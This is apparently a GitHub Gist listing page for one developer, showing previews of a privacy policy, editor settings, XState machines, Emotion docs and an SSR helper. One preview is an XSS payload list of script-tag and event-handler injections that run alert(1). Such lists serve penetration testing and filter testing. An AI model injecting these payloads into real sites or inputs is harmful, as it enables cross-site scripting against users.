Skip to content

Instantly share code, notes, and snippets.

@tkh44
tkh44 / privacy-policy.md
Created March 12, 2024 17:42
Instacart Chrome Extension Privacy Policy

Instacart Chrome Extension Privacy Policy

This privacy policy explains how Instacart collects, uses, and safeguards data when you use the Instacart Chrome extension.

Information We Collect

The extension may collect limited non-identifying data about your browsing activity and Chrome usage solely to improve the extension's functionality and user experience.

How We Use Information

Any data collected is used only for the purposes of enhancing the extension, troubleshooting issues, and delivering updates. We do not sell or share this data with any third parties.

@tkh44
tkh44 / vscode-settings.json
Created April 19, 2023 19:31
VSCode settings
{
"security.workspace.trust.untrustedFiles": "open",
"[html]": {
"editor.defaultFormatter": "vscode.html-language-features"
},
"workbench.colorTheme": "Noctis Azureus",
"git.autofetch": true,
"editor.minimap.enabled": false,
"typescript.preferences.importModuleSpecifier": "non-relative",
"editor.inlineSuggest.enabled": true,
@tkh44
tkh44 / machine.js
Last active March 1, 2021 20:24
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
@tkh44
tkh44 / machine.js
Created February 26, 2021 20:48
Generated by XState Viz: https://xstate.js.org/viz
const targetingMachine = Machine({
id: "adHoc",
initial: "targetCategory",
context: {
targetType: "host",
targetSelection: "parameter", // param / exact
strategy: "random",
selectedTargets: new Set(),
targetParams: {
/*[key]: new Set() */
@tkh44
tkh44 / machine.js
Last active February 19, 2021 20:24
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
@tkh44
tkh44 / machine.js
Last active February 11, 2021 21:20
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
@tkh44
tkh44 / test
Created August 28, 2020 15:29
test.txt
Hello there.
@tkh44
tkh44 / xsslist.txt
Last active August 27, 2020 19:36
XSS list <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
@tkh44
tkh44 / Introduction.md
Created January 11, 2019 21:08
Working on updating emotion docs. Feedback welcome!
title
Introduction

Emotion is a lightweight library designed for writing styles in JavaScript, enabling powerful and predictable style composition using both string and object styles. It also provides a great developer experience with features such as source maps, labels, and testing utilities.


There are two primary methods of using Emotion. The first is framework agnostic and the second is for use with React.

@tkh44
tkh44 / html.js
Last active September 22, 2021 17:29
Simple SSR template library with scoped styles
const hash = require('@emotion/hash')
const weakMemoize = require('@emotion/weak-memoize')
export function html (strings, ...interpolations) {
return strings.reduce(
(final, str, i) =>
final +
str +
(interpolations[i] === undefined
? ''